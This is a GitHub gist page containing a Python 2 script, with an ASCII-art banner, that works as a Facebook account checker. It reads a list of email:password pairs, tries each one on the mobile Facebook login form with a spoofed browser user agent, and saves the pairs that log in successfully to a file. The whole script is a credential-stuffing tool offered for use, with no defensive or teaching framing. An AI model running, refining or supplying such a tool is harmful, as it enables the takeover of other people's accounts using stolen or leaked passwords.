Skip to content

Instantly share code, notes, and snippets.

@mox5500
Created November 30, 2015 22:55
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mox5500/a50fd62656130966850f to your computer and use it in GitHub Desktop.
Save mox5500/a50fd62656130966850f to your computer and use it in GitHub Desktop.
import os
import optparse
import sys
import mechanize
import cookielib
banner = """
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,::::,,,:,,,,:,,::,:::,,:,,,::::::::
,,,,,,,,,,,,,,,,,,,,,,,,,,,,=~:,,,,,,:=~,,,,:=:,,,,,,,,,,,::::,,::,,,,,::::::,,,
,,,,,,,,,,,,,,,,,,,,,,:,,,,:$+:,,,,,,=7=,,:,=$~,,,,,,,,,,,,,,,,,,,::,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,:?I~:,:,::~7~,,:,?I:,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,:$7:::,,:+I:,,,,7=,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=$?+?777OOZ$??I7::,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,::+7ZDDD8$7ZZZZ$ZZDNDDOI=::,,,,,,,,,,,,,,,,,.,,,,,,,,,,,
,,,,,,,,,,,.,,,,,,,,,,+$8ND$I==+??+++==~++++?++7OD8I+:,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,....,,,,,,=$DO$I+=+=+?++++?+?+=++++77+?=IOD$=:,,,,,,,,,,,,,,,,,,,,,,,,
,...,,,,,,....,,,,:ZNOI+==~=$DND+====+===+++$NMD7=?++ZDZ:,,,,,,,,,,,,,....,,,.,,
....,.........,,:ID8$I+++?DMMMMMO+++++++++?INMNMMD$II=+$8+:,,..,,.........,,.,..
..........,...,,IDZI?+IDMMNMMMMMOI+=++++====$8MMMMMNZ+??78$:,,,.,...,.........,,
...,,.....,..,:ZN$I++??+?8MNZ$$88O++?+==?+$8NO$$Z8MMMNI++=O$,,.........,,..,..,,
...,,......,,,ZDI?+=+++$NO~,,::,~$N++=+=+O8Z=:::,,?D8?=?==+8I::..,,,...,,....,,,
........,.,..?DZI+++++?8Z,~7NMNZ~~7O+=++?D~:=ZDMD7=?OO++==~I8+,,.,......,,,.,.,,
.........,,.,8O7I+===+7O+=I=:ZMMDI~DO==+ZZ:+7~~8MMZ~+D?+==~=$O,,,,........,,,,.,
,,.....,,.:+ZNZ7==~==+$Z+I7~:??~8O:8O==+O$=O?,~7++N++DI++==~?DO?::,,,,,...,,,,,,
........~ZOI8O7?=~=+?+?D$7ND78DONO7O?==+78+$N$ZD88D7ZO++++=~+Z8I$O~,,...........
........IDODMOI?+==++++$DZ77=+7Z7ON?~=+==ZDZ$+:?Z$ZD8I=?+++~~7N7I8?:.....,......
.......,78I$8O7?===??+==+$ND888MDO?+==ZO8OIOD8O8DDN$+=+?++==~?8I+$7:.....,,,....
.......,I878MOI?+=+?+=~~=+=I$ZZ7=~~==?++?8$+=$Z$7I+=+?I?+===~?MO+Z?,........,..,
........~$87O8I?+??+=~=~~+=+?~~~~~~=+===IDZ+~==+===~=+=+++++?7DIOO~,........,..,
........,,~ZN87I++=~~~~~==++~~=======7OO87==~++++I7?====++++?ONI+:,,.........,,.
............=OZI+=~~~~~~====~~======~~~~~=~:~==O8D8NO+~~++++78=,..,..........,,.
............,ZZI?+=~:~=~~============~~====~=$DZ?++7OI~=+++?ZD:.................
...........,,=OZ?+~:~=~====================~?8O?7I+Z8+~~=++IO?,.................
.............,O8+~~~~~===~~~~~=~~~~===~=+~=7N$II?IDO?::~=+=OI:................,.
...............?I~~:==++=~~~=ODDDD888DD888NND88O8$I=~~===+I?:.................,.
...............,77=~~+?==~~~~=~==+++??+??++====~=~++++===?I:...............,....
................,?$+=++~~~:~~~=====+=======+=++====+?+==$7::,..............,....
................,,+DI=+===~~======+++++++++++=+==+?+++?ZD:......................
...............,,,:8NNO?+====~========++=======++++IZODD8:,,....................
................,.,8NDDMD8I+===~=~~~~~====~~=+=+7ZNN8OZ88:......................
..................,ONDOZODMMNZI=::~==~~~~~=+?Z8MMNDZZZZ8D:,.....................
..................,$N888OZZO88NMMNNNDDDDNNNNDD8OOOOZZ$$ONI:,....................
..................,$NDD8OZ$Z$ZZOOOOOOOOO8OOOOOOOOOO88Z$ONM7,....................
..................~NMN88OZZOOZZOOOOOOOZO8OOOOOOOOOZOOZZONMN:,...................
.................:$MMNDDOZZZZZZZZZZOOOOOOOOOOOOOOOO8OZZOMMMZ,..............,....
.................IMMMNDDOZOZZZZZZZZOOZZZZZOOOOOOOOOOOOOODNMN~,..................
.................ZMMMNDDOZZZZZZZZZZZZZOOOOOOOOOOOZOOOOODO+OM$,................,,
................,NMNNND88ZOOOOOOZZZZZZZOOOOOOOOOOO88O8OD8:IN8=,.,...............
.........,......+MNIOD8D8ZZZZZZZZZZZZZZZZZOOOOOOOZOZZZZDO,,8NZ,,................
~~~~~~~~~~:::~~=8MNIDMDD8OOOOOOOOOOOOOOOOOOOOO8OO8OO8O8DN?+DNNI++++++++++++????+
================================================================================
WEB: http://mox5500.github.io CODED BY: DAMASTER
================================================================================
"""
commandList = optparse.OptionParser('usage: %prog --file=example.txt | emails with passwords format like email:password')
commandList.add_option('--file', action="store",
help="Insert file name with email:password format",
)
options, remainder = commandList.parse_args()
# Check args
if not options.file:
print(banner)
commandList.print_help()
sys.exit(1)
inf = open(options.file)
try:
for line in inf:
t = line.rstrip('\n').split(":")
br = mechanize.Browser()
# Cookie Jar
cj = cookielib.LWPCookieJar()
br.set_cookiejar(cj)
# Browser options
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
# Follows refresh 0 but not hangs on refresh > 0
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
br.addheaders = [('User-agent', 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0')]
url = 'https://m.facebook.com/login.php'
def fb_login():
email = t[0]
pwd = t[1]
br.select_form(nr=0)
br.form['email'] = email
br.form['pass'] = pwd
br.submit()
login_url = br.geturl()
error_login = 'https://m.facebook.com/login/?'
s = login_url.find(error_login)
if(s==-1):
print "[+] " + t[0] + " - Login successful!"
f = open( 'working.txt', 'a' )
f.write(t[0] + ':'+ t[1] + '\n')
f.close()
elif(s!=-1):
print "[!] " + t[0] + " - Wrong credentials entered!"
br.open(url)
fb_login()
finally:
inf.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment